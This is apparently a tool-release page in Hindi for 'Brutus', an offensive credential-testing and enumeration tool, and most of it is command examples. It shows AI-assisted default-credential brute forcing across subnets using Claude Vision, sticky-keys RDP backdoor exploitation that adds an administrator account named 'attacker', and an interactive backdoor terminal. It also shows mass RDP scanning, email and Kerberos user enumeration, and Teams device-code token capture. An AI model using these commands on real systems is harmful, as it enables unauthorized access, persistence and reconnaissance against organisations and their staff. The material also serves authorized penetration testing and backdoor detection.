    प्रायोगिक: AI-संचालित क्रेडेंशियल पहचान

    ⚠️ प्रायोगिक सुविधा: AI सुविधाओं के लिए बाहरी API कुंजियों की आवश्यकता होती है और ये सक्रिय विकास के अंतर्गत हैं।

    --experimental-ai फ़्लैग

    --experimental-ai फ़्लैग HTTP सेवाओं के लिए स्वचालित क्रेडेंशियल पहचान सक्षम करता है:```bash

    Set up API keys

    export ANTHROPIC_API_KEY="your-anthropic-key" # Required: Claude Vision for device identification export PERPLEXITY_API_KEY="your-perplexity-key" # Optional: additional web search

    AI-powered credential testing against HTTP services

    naabu -host 192.168.1.0/24 -p 80,443,8080 -silent |
    nerva --json |
    brutus web --experimental-ai

    root@kitploit:~
    **यह कैसे काम करता है:**
    
    1. **पहचान** — Brutus HTTP लक्ष्यों की जाँच करके प्रमाणीकरण प्रकार (Basic Auth बनाम फ़ॉर्म-आधारित) का पता लगाता है
    2. **डिवाइस पहचान** — Claude Vision स्क्रीनशॉट का विश्लेषण करके डिवाइस/एप्लिकेशन की पहचान करता है
    3. **क्रेडेंशियल सुझाव** — Claude अपने प्रशिक्षण डेटा से डिफ़ॉल्ट क्रेडेंशियल सुझाता है
    4. **वैकल्पिक वेब खोज** — Perplexity (यदि कॉन्फ़िगर किया गया हो) ऑनलाइन अतिरिक्त क्रेडेंशियल खोजता है
    5. **परीक्षण** — पाए गए क्रेडेंशियल्स को लक्ष्य के विरुद्ध जाँचता है
    
    **HTTP Basic Auth लक्ष्यों के लिए:**
    - HTTP हेडर कैप्चर करने के लिए `/` की जाँच करता है
    - Server हेडर, WWW-Authenticate realm आदि से डिवाइस की पहचान करता है
    - Claude संभावित डिफ़ॉल्ट क्रेडेंशियल सुझाता है
    - क्रेडेंशियल जोड़ियों का स्वचालित रूप से परीक्षण करता है
    
    **HTTP फ़ॉर्म-आधारित auth लक्ष्यों के लिए:**
    - पेज को रेंडर और स्क्रीनशॉट लेने के लिए हेडलेस Chrome का उपयोग करता है
    - Claude Vision लॉगिन फ़ॉर्म, डिवाइस प्रकार की पहचान करता है और क्रेडेंशियल सुझाता है
    - Perplexity (वैकल्पिक) अतिरिक्त डिफ़ॉल्ट क्रेडेंशियल खोजता है
    - ब्राउज़र ऑटोमेशन फ़ॉर्म भरता है और सबमिट करता है
    
    **आवश्यकताएँ:**
    - `ANTHROPIC_API_KEY` — **आवश्यक** Claude Vision (डिवाइस पहचान + क्रेडेंशियल सुझाव) के लिए
    - `PERPLEXITY_API_KEY` — *वैकल्पिक* अतिरिक्त वेब खोज अनुसंधान के लिए
    - Chrome/Chromium स्थापित होना चाहिए (केवल फ़ॉर्म-आधारित auth के लिए)
    
    **गैर-HTTP प्रोटोकॉल (SSH, MySQL, आदि) `--experimental-ai` से प्रभावित नहीं होते** — वे मानक क्रेडेंशियल परीक्षण का उपयोग करते रहते हैं।
    
    ---
    
    ## RDP: स्टिकी कीज बैकडोर पहचान और शोषण
    
    Brutus में RDP लक्ष्यों पर **स्टिकी कीज बैकडोर** (MITRE ATT&CK [T1546.008](https://attack.mitre.org/techniques/T1546/008/)) का स्वचालित पता लगाना शामिल है। यह प्री-ऑथेंटिकेशन जाँच गैर-NLA RDP लक्ष्यों पर चलती है — किसी क्रेडेंशियल की आवश्यकता नहीं।
    
    **यह कैसे काम करता है:**
    
    1. RDP लक्ष्य से कनेक्ट होता है और गैर-NLA सत्र पर बातचीत करता है
    2. आधार रेखा के रूप में लॉगिन स्क्रीन बिटमैप कैप्चर करता है
    3. 5 बार Shift कुंजी भेजता है (स्टिकी कीज ट्रिगर)
    4. प्रतिक्रिया बिटमैप कैप्चर करता है
    5. ह्यूरिस्टिक विश्लेषण पता लगाता है कि कोई टर्मिनल विंडो दिखाई दी (cmd.exe, PowerShell, आदि)
    6. वैकल्पिक रूप से Claude Vision API के माध्यम से पुष्टि करता है (जब `ANTHROPIC_API_KEY` सेट हो)```bash
    # Detection only — no brute force
    brutus logon --target 10.0.0.50:3389
    
    # Detection + Vision API confirmation
    brutus logon --target 10.0.0.50:3389 --experimental-ai
    

    केवल पहचान मोड: logon उपकमांड स्टिकी कीज़ और यूटिलमैन बैकडोर का पता लगाने के लिए बिना ब्रूट फोर्स के चलता है:```bash

    Detection only (no brute force)

    brutus logon --target 10.0.0.50:3389

    root@kitploit:~
    **डिटेक्शन आउटपुट:**```
    [CRITICAL] Sticky keys backdoor CONFIRMED (confidence: 85%)
    sethc.exe has been replaced with cmd.exe or similar.
    SYSTEM-level unauthenticated access available via 5x Shift.
    

    Command Execution via Backdoor (--exec)

    एक बार बैकडोर का पता चलने पर, प्री-प्रमाणीकरण कमांड प्रॉम्प्ट के माध्यम से दूरस्थ सिस्टम पर एक कमांड निष्पादित करें:```bash

    Execute a single command via the backdoor

    brutus logon --target 10.0.0.50:3389 --exec "whoami"

    Add a local admin account

    brutus logon --target 10.0.0.50:3389
    --exec "net user attacker P@ssw0rd /add && net localgroup administrators attacker /add"

    root@kitploit:~
    यह कनेक्ट करता है, बैकडोर को ट्रिगर करता है, कमांड टाइप करता है, Enter दबाता है, आउटपुट की प्रतीक्षा करता है, और परिणाम का PNG स्क्रीनशॉट सहेजता है।
    
    ### Interactive Web Terminal (`--web`)
    
    बैकडोर कमांड प्रॉम्प्ट के साथ लाइव इंटरैक्शन के लिए ब्राउज़र-आधारित RDP व्यूअर लॉन्च करें:```bash
    # Start interactive web terminal
    brutus logon --target 10.0.0.50:3389 --web
    

    यह एक स्थानीय HTTP सर्वर प्रारंभ करता है:

    • लाइव स्क्रीन स्ट्रीमिंग ~10 FPS पर (WebSocket पर JPEG)
    • पूर्ण कीबोर्ड फ़ॉरवर्डिंग (PS/2 स्कैनकोड ब्राउज़र KeyboardEvent से मैप किए गए)
    • माउस समर्थन (क्लिक, मूव, राइट-क्लिक)
    • कनेक्शन स्थिति डिस्कनेक्ट ओवरले और रीकनेक्ट बटन के साथ

    दिखाए गए URL (जैसे, http://127.0.0.1:<port>) को किसी भी ब्राउज़र में खोलें, रिमोट RDP सत्र के साथ इंटरैक्ट करने के लिए। यदि सर्वर-साइड आइडल टाइमआउट के कारण सत्र डिस्कनेक्ट हो जाता है, तो नया सत्र स्थापित करने के लिए रीकनेक्ट पर क्लिक करें।

    नोट: गैर-NLA RDP सत्रों में सर्वर-साइड आइडल टाइमआउट होता है (विंडोज डिफ़ॉल्ट कॉन्फ़िगरेशन के अनुसार भिन्न होता है, आमतौर पर ग्रुप पॉलिसी द्वारा नियंत्रित Computer Configuration > Administrative Templates > Remote Desktop Services > Session Time Limits पर)। किसी परीक्षण लक्ष्य पर टाइमआउट बढ़ाने के लिए, रजिस्ट्री में MaxIdleTime को 0 पर सेट करें:

    root@kitploit:~
    HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services\MaxIdleTime = 0 (DWORD)
    

    B-TP (सौम्य सत्य सकारात्मक) विचार: बैकडोर प्रतिस्थापन भूल गए पासवर्ड पुनर्प्राप्ति प्रक्रियाओं या अधिकृत पैठ परीक्षणों से कलाकृतियों को भी इंगित कर सकता है।

    सामूहिक RDP स्कैनिंग पाइपलाइन

    बड़े पैमाने पर मूल्यांकन के लिए, logon उपकमांड कई लक्ष्यों पर बैकडोर डिटेक्शन चलाता है। यह पाइपलाइन इनपुट, लक्ष्य फ़ाइलें, या nmap/masscan आयात स्वीकार करता है — केवल RDP सेवाओं का परीक्षण किया जाता है:```bash

    Scan a /24 for sticky keys and utilman backdoors

    naabu -host 10.0.0.0/24 -p 3389 -silent |
    nerva --json |
    brutus logon --json -o rdp-findings.json

    Scan from nmap results

    brutus logon --nmap-file scan.xml --json -o rdp-findings.json

    Scan from targets file

    brutus logon --targets-file rdp-targets.txt --json

    Extract critical findings

    jq 'select(.finding == "[CRITICAL]")' rdp-findings.json

    root@kitploit:~
    **तकनीकी कार्यान्वयन:** RDP प्रोटोकॉल समर्थन [IronRDP](https://github.com/Devolutions/IronRDP) (Rust) का उपयोग करता है जो WebAssembly में संकलित होता है और [wazero](https://github.com/tetratelabs/wazero) के माध्यम से निष्पादित होता है, जो Brutus के शून्य-CGO, एकल-बाइनरी डिज़ाइन को बनाए रखता है।
    
    ---
    
    ## खाता एनुमरेशन
    
    `enum` उपकमांड यह गणना करता है कि कौन से खाता-अस्तित्व ओरेकल (oracles) किसी संगठन के लिए काम करते हैं (और उनके विरुद्ध ईमेल गणना करता है) या Active Directory उपयोगकर्ताओं की गणना करता है, सभी पासवर्ड भेजे बिना।
    
    ### खाता-अस्तित्व ओरेकल एनुमरेशन
    
    पहचानें कि कौन से अप्रमाणित खाता-अस्तित्व ओरेकल (microsoft365, google, github, और Microsoft Teams ओरेकल) किसी संगठन के लिए काम करते हैं, उन्हें एक ज्ञात-मान्य उपयोगकर्ता के विरुद्ध मान्य करें, फिर कार्यशील ओरेकल के विरुद्ध उम्मीदवार ईमेल की गणना करें। DNS TXT टोही उम्मीदवार ओरेकल को सामने लाती है; `--known-valid` के विरुद्ध सत्यापन मुख्य बिंदु है। `--known-valid` आवश्यक है, और गणना केवल उन्हीं ओरेकल के विरुद्ध चलती है जो इसकी पुष्टि करते हैं:```bash
    # Discover candidate oracles via DNS and report which ones work
    brutus enum active oracles --domain example.com --known-valid [email protected]
    
    # Enumerate specific emails against the working oracles
    brutus enum active oracles --domain example.com -e [email protected],[email protected] --known-valid [email protected]
    
    # Enumerate emails from file
    brutus enum active oracles --domain example.com -E emails.txt --known-valid [email protected]
    
    # Generate emails from embedded name lists and enumerate against working oracles
    brutus enum active oracles --domain example.com --generate --format flast --known-valid [email protected]
    
    # Discover working oracles with a known-valid email before large-scale enumeration
    brutus enum active oracles discover --domain example.com --known-valid [email protected]
    

    केरबेरोस उपयोगकर्ता गणना

    Active Directory उपयोगकर्ता नामों की केरबेरोस AS-REQ के माध्यम से गणना करें (कोई पासवर्ड नहीं भेजा गया, कोई लॉकआउट जोखिम नहीं):```bash

    Enumerate specific users

    brutus enum active kerberos --dc 10.0.0.1 --domain CORP.LOCAL -u administrator,guest,krbtgt

    Enumerate from file

    brutus enum active kerberos --dc dc01.corp.local --domain CORP.LOCAL -U users.txt

    Generate usernames and pipe to Kerberos enum

    brutus enum generate --format flast | brutus enum active kerberos --dc 10.0.0.1 --domain CORP.LOCAL -U -

    root@kitploit:~
    ### ईमेल/उपयोगकर्ता नाम सृजन
    
    अंतर्निहित प्रथम/अंतिम नाम शब्दसूचियों से ईमेल पते या उपयोगकर्ता नाम उत्पन्न करें:```bash
    # Generate emails: [email protected]
    brutus enum generate --domain example.com --format flast
    
    # Generate usernames only (no domain): jsmith
    brutus enum generate --format flast
    
    # Available formats: first.last, flast, firstl, f.last, lastf, last.first, lastfirst, first
    brutus enum generate --domain example.com --format first.last
    

    Hunter.io Domain Search

    Hunter.io Domain Search API के माध्यम से किसी डोमेन से जुड़े लोगों (ईमेल, नाम, नौकरी का शीर्षक, फोन, विभाग, वरिष्ठता, विश्वास) की खोज करें। सभी परिणाम प्राप्त होने तक स्वचालित रूप से पृष्ठांकित करता है।```bash

    Requires a Hunter.io API key — set via env var (preferred, keeps key out of process list)

    export HUNTER_API_KEY=your_key_here

    Discover people for a domain

    brutus enum hunter --domain example.com

    Provide the key explicitly (visible in process list and shell history — prefer HUNTER_API_KEY)

    brutus enum hunter --domain example.com --api-key your_key_here

    JSONL output to file (one record per person, with type:"hunter" discriminator)

    brutus enum hunter --domain example.com --output people.jsonl

    Adjust pagination page size (default: 100)

    brutus enum hunter --domain example.com --limit 50

    root@kitploit:~
    ---
    
    ### Microsoft Teams / Entra ID प्रमाणीकरण
    
    Microsoft Entra ID (Azure AD) से डिवाइस कोड फ़्लो (RFC 8628) का उपयोग करके OAuth2 एक्सेस टोकन, रिफ़्रेश टोकन और ID टोकन प्राप्त करें। परिणामी टोकन का उपयोग Microsoft Graph API कॉल, Teams गणना, और [ROADtools](https://github.com/dirkjanm/ROADtools) जैसे टूल या कस्टम Graph क्वेरी के माध्यम से ऑडिटिंग के लिए किया जा सकता है।```bash
    # Authenticate against the common endpoint (any Microsoft tenant)
    brutus enum active teams auth
    
    # Authenticate against a specific tenant by domain or GUID
    brutus enum active teams auth --tenant contoso.com
    brutus enum active teams auth --tenant 00000000-0000-0000-0000-000000000000
    
    # Request a different resource scope (space-separated). The default targets the
    # Skype/Teams resource (api.spaces.skype.com); the Teams client is NOT
    # authorized for Microsoft Graph (Graph yields AADSTS65002).
    brutus enum active teams auth --scope "offline_access https://api.spaces.skype.com/.default"
    
    # Use a custom app registration (your own Azure app client ID)
    brutus enum active teams auth --client-id 00000000-0000-0000-0000-000000000000
    
    # Capture the full token set as JSONL for piping to other tools
    brutus enum active teams auth -o tokens.jsonl
    brutus enum active teams auth --json
    

    यह कैसे काम करता है:

    1. Brutus login.microsoftonline.com/{tenant}/oauth2/v2.0/devicecode से एक डिवाइस कोड का अनुरोध करता है
    2. एक छोटा कोड और URL प्रदर्शित होते हैं — किसी भी ब्राउज़र में URL खोलें और कोड दर्ज करें
    3. Brutus तब तक पोल करता है जब तक आप साइन-इन पूरा नहीं करते, कोड समाप्त नहीं हो जाता, या आप Ctrl+C दबाते हैं
    4. सफलता पर, एक्सेस टोकन, रिफ्रेश टोकन और आईडी टोकन प्रिंट होते हैं

    मानव आउटपुट एक्सेस टोकन के केवल पहले 20 अक्षर दिखाता है (सत्यापन के लिए पर्याप्त)। पूर्ण टोकन मानों को कैप्चर करने के लिए --json या -o का उपयोग करें।

    डिफ़ॉल्ट क्लाइंट आईडी: Microsoft Teams डेस्कटॉप एप्लिकेशन (1fec8e78-bce4-4aaf-ab1b-5451cc387264), एक प्रथम-पक्ष सार्वजनिक क्लाइंट जो डिवाइस कोड फ्लो का समर्थन करता है। अपनी स्वयं की ऐप रजिस्ट्रेशन का उपयोग करने के लिए --client-id के साथ ओवरराइड करें।``` $ brutus enum active teams auth --tenant contoso.com [*] Starting Microsoft device code authentication...

    [*] Microsoft device code authentication Open: https://microsoft.com/devicelogin Code: ABCD-1234 Expires in: 15m

    [*] Waiting for you to complete sign-in...

    [+] Authentication successful Token type: Bearer Expires at: 2026-06-16T13:00:00Z Scope: offline_access https://api.spaces.skype.com/.default Access token: eyJ0eXAiOiJKV1Qi... Refresh token: ID token:

    root@kitploit:~
    #### Teams उपयोगकर्ता गणना
    
    प्रमाणित होने के बाद, ईमेल पते द्वारा कॉर्पोरेट Teams उपयोगकर्ताओं की गणना करें। प्रत्येक
    परिणाम `exists`, `blocked` (टेनेंट बाहरी खोज को प्रतिबंधित करता है लेकिन उपयोगकर्ता
    मौजूद हो सकता है), `not found`, या `unknown` (प्रमाणीकरण/परिवहन विफलता) है। व्यक्तिगत/Live
    खाते समर्थित नहीं हैं — केवल कॉर्पोरेट टेनेंट।```bash
    # Device-code auth inline, then enumerate a couple of emails
    brutus enum active teams users -e [email protected],[email protected]
    
    # Generate candidate emails for a domain and enumerate the most-likely 5000
    # (presence and out-of-office are gathered by default; use --no-presence to skip)
    brutus enum active teams users --domain target.com --format first.last --limit 5000
    
    # Enumerate emails from a file
    brutus enum active teams users -E emails.txt
    
    # Reuse a token captured earlier and route through a SOCKS5 proxy
    brutus enum active teams auth -o token.jsonl
    brutus enum active teams users -E emails.txt --token-file token.jsonl --proxy socks5://127.0.0.1:1080
    
    # Provide an access token directly
    brutus enum active teams users -e [email protected] --access-token "$TOKEN"
    

    जब रीफ़्रेश टोकन उपलब्ध होता है (--token-file या --refresh-token के माध्यम से), तो समाप्त हुए एक्सेस टोकन को एक बार स्वचालित रूप से नवीनीकृत किया जाता है; अन्यथा 401 सुरुचिपूर्ण ढंग से unknown परिणाम में बदल जाता है।


    Google Workspace खाता गणना

    जांचें कि क्या ईमेल पते दो अप्रमाणित ओरेकल का उपयोग करके Google खातों से मेल खाते हैं — कोई टोकन या साइन-इन आवश्यक नहीं:

    • AccountChooser SSO रीडायरेक्ट — सिंगल साइन-ऑन के साथ कॉन्फ़िगर किए गए डोमेन पर Workspace खातों को प्रकट करता है, साथ ही पहचान प्रदाता (IdP) होस्ट जिस पर वे रीडायरेक्ट करते हैं (workspace-sso)।
    • GXLU Gmail प्रोब — Gmail-सक्षम खातों (gmail) को प्रकट करता है।

    प्रत्येक परिणाम exists (पुष्टि करने की विधि और, SSO के लिए, IdP होस्ट के साथ) या not found होता है।```bash

    Enumerate a couple of emails

    brutus enum active google -e [email protected],[email protected]

    Generate candidate emails for a domain and enumerate the most-likely 5000

    brutus enum active google --domain target.com --format first.last --limit 5000

    Enumerate emails from a file

    brutus enum active google -E emails.txt

    Route through a SOCKS5 proxy and raise concurrency

    brutus enum active google -E emails.txt --proxy socks5://127.0.0.1:1080 --threads 20

    root@kitploit:~
    `--domain` उसी आवृत्ति-आधारित प्रथम/अंतिम नाम जनरेटर का पुन: उपयोग करता है जो `enum generate` करता है; `--format` उपयोगकर्ता नाम लेआउट का चयन करता है और `--limit` जनरेशन को पहले N (सबसे अधिक संभावित) उम्मीदवारों तक सीमित करता है। `--domain` को `-e`/`-E` के साथ जोड़ा जा सकता है।
    
    ---
    
    ## ज्ञात सीमाएँ
    
    ### स्टिकी कीज ह्युरिस्टिक डिटेक्शन
    
    - **वैकल्पिक गलत नकारात्मक:** ह्युरिस्टिक-केवल डिटेक्शन (`brutus logon` बिना `--experimental-ai`) एक ही लक्ष्य पर बार-बार स्कैन करने पर गलत नकारात्मक परिणाम उत्पन्न कर सकता है। एक सफल डिटेक्शन के बाद, cmd.exe विंडो सर्वर पर खुली रहती है। बाद के कनेक्शनों में बेसलाइन फ्रेम में cmd.exe दिखाई देती है, और चूँकि 5x Shift भेजने से कोई नई विंडो नहीं बनती, पिक्सेल अंतर न्यूनतम होता है — जिसके परिणामस्वरूप "साफ" निर्णय होता है। यह `--experimental-ai` मोड को प्रभावित नहीं करता, जो प्रतिक्रिया फ्रेम का सीधे विश्लेषण करने के लिए विज़न एपीआई का उपयोग करता है (बेसलाइन-बनाम-प्रतिक्रिया अंतर नहीं) और पिछली स्थिति की परवाह किए बिना टर्मिनल विंडो की विश्वसनीय पहचान करता है।
    - **कार्यसमाधान:** बार-बार स्कैन पर सुसंगत डिटेक्शन के लिए `ANTHROPIC_API_KEY` सेट करके `--experimental-ai` का उपयोग करें, या आरडीपी सत्र को रीसेट करने के लिए स्कैन के बीच कोल्डाउन की अनुमति दें।
    
    ### ब्राउज़र प्लगइन
    
    - स्थानीय रूप से Chrome/Chromium स्थापित होना आवश्यक है
    - हेडलेस मोड सभी सिस्टम पर काम नहीं कर सकता है
    - कुछ JavaScript-भारी लॉगिन पृष्ठों को अतिरिक्त प्रतीक्षा समय की आवश्यकता हो सकती है
    
    टूल डाउनलोड करें